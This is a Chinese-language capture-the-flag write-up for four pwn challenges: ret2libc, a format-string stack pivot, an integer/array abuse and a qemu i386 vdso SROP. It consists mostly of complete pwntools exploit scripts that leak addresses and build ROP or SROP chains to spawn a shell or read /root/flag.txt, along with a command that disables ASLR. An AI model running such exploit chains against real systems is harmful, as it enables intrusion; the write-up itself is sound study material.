# fmt/qemu/vdso/orw/Overflow
Pwner: 4riH04X
三道 wolvctf 2023 的改改编题,一道 qemu+vdso+32 位栈溢出的题
# 1.【Done】repeater
# Easy 的 ret2libc
覆盖最低位字节,返回到 puts 前,泄露当时未清空的 rsi = forkfile,泄露 libc 基地址,后面正常 rop
题解exp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import* from LibcSearcher import*
context(os = 'linux',arch = 'amd64',log_level = 'debug') elf=ELF('./pwn')
libc=ELF("/mnt/hgfs/Ubuntu_share/CTF/Pwn/t1d/t1dctf/tag/libc.so.6")
debug = 1 if debug: p = remote('tld1027.com', 9030) else: p = process("./pwn")
call = 0xbd func_addr = 0x11C9 p.recvuntil(b'You say:\n') p.send(b'281') pause() p.send(b'a'*279 + b'\x66'+b'\xbd') pause() p.recvuntil(b'\x66')
received_data = p.recvuntil(b'\x0a')[:-1]
call_addr = u64(received_data[-6:].ljust(8, b'\x00'))
print(hex(call_addr))
pie_addr = call_addr - 0x12bd stdin_addr = pie_addr + 0x4020
pop_rsi = pie_addr + 0x10E9
ret = pie_addr + 0x12d7
puts_plt =0x12B3 + pie_addr p.recvuntil(b'You say:\n') payload1= b'a'*280 + p64(puts_plt)
p.send(b'288') pause() p.send(payload1) p.recvuntil(b'\x0a')
received_data = p.recvuntil(b'\x0a')[:-1] funlockfile_addr= u64(received_data[-6:].ljust(8, b'\x00')) print(hex(funlockfile_addr)) pause()
libc_base=funlockfile_addr-libc.symbols["funlockfile"] system_addr=libc_base + libc.symbols["system"] bin_sh_addr=libc_base + next(libc.search(b'/bin/sh')) pop_rdi_ret = libc_base + 0x2a3e5
p.recvuntil(b'You say:\n') p.send(b'312') pause() payload2=b'a'*280 + p64(ret) +p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr) p.send(payload2) p.interactive()
|
# 2.【Done】Tag
# Mid 的 fmt
后门函数有两个 fmt,第一个 fmt 泄露地址,第二个提前将 rbp、ret 写入栈中,用 fmt 修改二级指针,栈迁移实现 rop
进入后门函数需要通过逻辑匹配的漏洞,修改最低位为 \x01
题解exp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import* from LibcSearcher import*
context(os = 'linux',arch = 'amd64',log_level = 'debug') elf=ELF('./pwn')
libc=ELF("/mnt/hgfs/Ubuntu_share/CTF/Pwn/t1d哥哥的push/t1dctf/tag/libc.so.6")
debug = 1 if debug: p = remote('tld1027.com', '9020') else: p = process("./pwn")
fmt = b'%7$p%11$p%30$p' pay = fmt.ljust(27, b'a')
oldtag = b'\x00' newtag = b'\x01' tag = b'<' + oldtag + b'>'
payload = pay + tag + b'<' + b'/' p.recvuntil(b'Input >\n') p.send(payload)
p.recvuntil(b'Old tag to replace [q to quit] >\n') p.send(oldtag) p.send(b'\x0a') p.recvuntil(b'New tag >\n') p.send(newtag) p.send(b'\x0a')
print("The func addr : 1325")
p.sendline(b'\x0a') p.sendline(b'\x0a')
p.recvuntil(b'0x')
stack_addr = int(p.recv(12), 16) - (0x60040-0x5ff10) log.success(f"stack_addr: {hex(stack_addr)}")
p.recvuntil(b'0x') libc_base = int(p.recv(12), 16) - 45 - libc.sym['_IO_file_write'] log.success(f"libc_base: {hex(libc_base)}")
p.recvuntil(b'0x') pie_addr = int(p.recv(12), 16) - 0x1438 log.success(f"pie_addr: {hex(pie_addr)}")
pause()
system_addr=libc_base + libc.symbols["system"] bin_sh_addr=libc_base + next(libc.search(b'/bin/sh')) pop_rdi_ret = libc_base + 0x2a3e5
old_rbp = stack_addr + 0x110 leave = stack_addr + 0x118 leave_num = (pie_addr+0x13dc) & 0xffff new_rbp = stack_addr + 0x28 num = new_rbp & 0xffff fmt = (b'%' + str(leave_num).encode() + b'c%39$hn'+ b'%' + str(num-leave_num).encode("utf-8") + b'c%' + str(38).encode("utf-8") +b'$hn').ljust(0x20,b'a') pay = fmt + p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr) payload = pay.ljust(256-0x10,b'a') + p64(old_rbp) + p64(leave) p.send(payload) p.interactive()
|
# 3.【Done】ZoO
# Hard(mid)的 “数组越界 "
初始化的 ZoO 的结构体为 0x18 字节,名字 0x10, 重量 0x08,但重量为无符号整型,可以传入 负数,
一开始准备利用 % s 的不截断 功能,强行塞满,并泄露有效信息,然后修改 ret,布置 rop
但是 fgets 函数,fget (a,0x10,a) 只能读入 0x10-1 个字节,并以 \x00 结束,所以说一定会截断。
后来才知道 flag 也是数字,因此只需要再次进入后门函数就可以了。cao
想到了五子棋的题,可以通过减法,修改 ret
题解exp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import*
context(os = 'linux',arch = 'amd64',log_level = 'debug') elf=ELF('./pwn')
libc=ELF("/mnt/hgfs/Ubuntu_share/CTF/Pwn/t1d哥哥的push/t1dctf/tag/libc.so.6")
debug = 0 if debug: p = remote('tld1027.com', 9040) else: p = process("./pwn")
def choose_1(name,amount): p.recvuntil(b'> ') p.sendline(b'1') p.recvuntil(b'Name >\n') p.sendline(name) p.recvuntil(b'Amount to feed >\n') p.sendline(str(amount).encode())
pay1 = b'\x14' pay2 = b'\x09' pause() choose_1(pay1+pay2,1) choose_1(2*pay1+pay2,1) choose_1(3*pay1+pay2,-1)
p.recvuntil(b'> ') p.sendline(b'1') p.recvuntil(b'Name >\n') p.send(14*pay1+pay2) p.recvuntil(b'Amount to feed >\n') p.sendline(b'-1') choose_1(4*pay1+pay2,-20)
pause() choose_1(pay1+pay2,1) choose_1(2*pay1+pay2,1) choose_1(3*pay1+pay2,-1)
p.interactive()
|
# 4.Strange
# 地狱 qemu+x86 栈 + vdso | orw_rop | open+sendfile_srop
# 一。解析
1. 题目仅仅是 32 位的一个 read,没有动态依赖
2. 要求我们调试 qemu,在 hello 程序运行时,需要学习指令:
命令1
| echo -ne 'payload字符串' | ./hello
|
这个命令的作用是将一个空字符串作为输入传递给 ./hello
程序,-n 是不换行输入,-e 会解析 \x00 这类 ascall 码
3.gdb 监听 qemu,target remote : 1234
4.qemu 启动的这个内核,关闭了地址随机化 ASLA
命令1
| echo 0 >/proc/sys/kernel/randomize_va_space
|
5.vdso 是虚拟链接库,,,主要是为了解决不同内核版本用同一个 glibc 的烦恼,所以强制夹在里面
里面有 gadget 和 syscall
6.i386 中一定有 vdso 的 srop 用的 syscall
栈溢出 SROP 攻击 - 知乎 (zhihu.com)
# 二.EXP
T1d 师傅的 exp,,,,,主要是找到了 mov_eax_ecx = vdso_addr + 0xb73 这么关键的 gadget,遗憾的是没有找到这个。
由于没有开随机化,栈地址、内存全是固定的。
题解exp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context.arch = 'i386'
stack_addr = 0xffffde4c addr = stack_addr + 0x20 vdso_addr = 0xf7ffc000 pop_edx_ecx = vdso_addr + 0x57a pop_ebx_4 = vdso_addr + 0x610 mov_eax_ecx = vdso_addr + 0xb73 int80_ret = 0x8049010
payload = b'/root/flag.txt\x00'.ljust(0x20, b'\x00') payload += p32(pop_ebx_4) + p32(stack_addr) * 3 + p32(0xffffde8c) + p32(pop_edx_ecx) + p32(0) + p32(5) + p32(mov_eax_ecx) payload += p32(pop_edx_ecx) + p32(0) * 2 + p32(pop_ebx_4) + p32(stack_addr) * 4 + p32(int80_ret)
payload += p32(pop_ebx_4) + p32(3) * 3 + p32(0xffffded4) + p32(pop_edx_ecx) + p32(0) + p32(3) + p32(mov_eax_ecx) payload += p32(pop_edx_ecx) + p32(0x40) + p32(0x804A000) + p32(pop_ebx_4) + p32(3) * 4 + p32(int80_ret)
payload += p32(pop_ebx_4) + p32(1) * 3 + p32(0xffffdf1c) + p32(pop_edx_ecx) + p32(0) + p32(4) + p32(mov_eax_ecx) payload += p32(pop_edx_ecx) + p32(0x40) + p32(0x804A000) + p32(pop_ebx_4) + p32(1) * 4 + p32(int80_ret)
print(len(payload)) print(payload)
|
晚秋师傅的 srop
题解exp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * from LibcSearcher import * from ae64 import AE64 from ctypes import cdll
context.arch = 'i386' context.log_level = "debug" context.terminal = ['tmux', 'neww'] local = 1 all_logs = []
def debug(params=''): for an_log in all_logs: success(an_log) pid = util.proc.pidof(sh)[0] gdb.attach(pid, params) pause()
def leak_info(name, addr): output_log = '{} => {}'.format(name, hex(addr)) all_logs.append(output_log) success(output_log)
syscall_pop3 = 0xf7ffc000 + 0x577 flag_addr = 0xffffde70 rt_sigreturn = 0xf7ffc5a0 sigreturn = 0xf7ffc591
mid = 0xffffdec4 stack2 = 0xffffdfb8
payload = b'a'*0x20 + p32(rt_sigreturn)
payload2 = b"/root/flag.txt\x00\x00".ljust(0x54, b'c') payload2 += p32(rt_sigreturn) payload2 = payload2.ljust(160, b'c')
payload += payload2
frame = SigreturnFrame(kernel='i386') frame.eax = constants.SYS_open frame.eip = syscall_pop3 frame.ebx = flag_addr frame.ecx = 0 frame.edx = 0 frame.esp = mid - 4*3
frame.cs = 35 frame.ss = 43 frame.ds = 43 frame.es = 43 frame.fs = 0 frame.gs = 0
frame2 = SigreturnFrame(kernel='i386') frame2.eax = constants.SYS_sendfile frame2.eip = syscall_pop3 frame2.ebx = 1 frame2.ecx = 3 frame2.edx = 0 frame2.esi = 0x20 frame2.esp = stack2
frame2.cs = 35 frame2.ss = 43 frame2.ds = 43 frame2.es = 43 frame2.fs = 0 frame2.gs = 0
payload = payload + bytes(frame) + p32(0)*2 + bytes(frame2) + p32(0)*3 + p32(rt_sigreturn)
payload = b'echo -ne "' + payload + b'" | ./hello' print(payload)
|
# 三。收获
1. 关于 qemu 的调试,设置断点、c,不断往复,这也是调试内核的手段
2. 关于 srop,学习 srop 的常规操作
1) 存在栈溢出
2)可以泄露栈地址,(即可以知道参数的地址)
3)需要 syscall 的地址
4)需要 sigreturn 的地址 (强制按照 frame 内存恢复进程状态)相比较传统的 ROP 攻击,需要的 gadgets 更少,构造更方便。
满足这 4 个可以实现任意 syscall(当然字节数要够)
3.srop 主要依靠 frame 设置寄存器值,将 eip 设置成 ret(pop_ret 啥的也行),主要去执行 ret 后的 esp 后的来控制程序流(此时已经设置好寄存器值)
因此 srop 仅仅可以作为工具
加油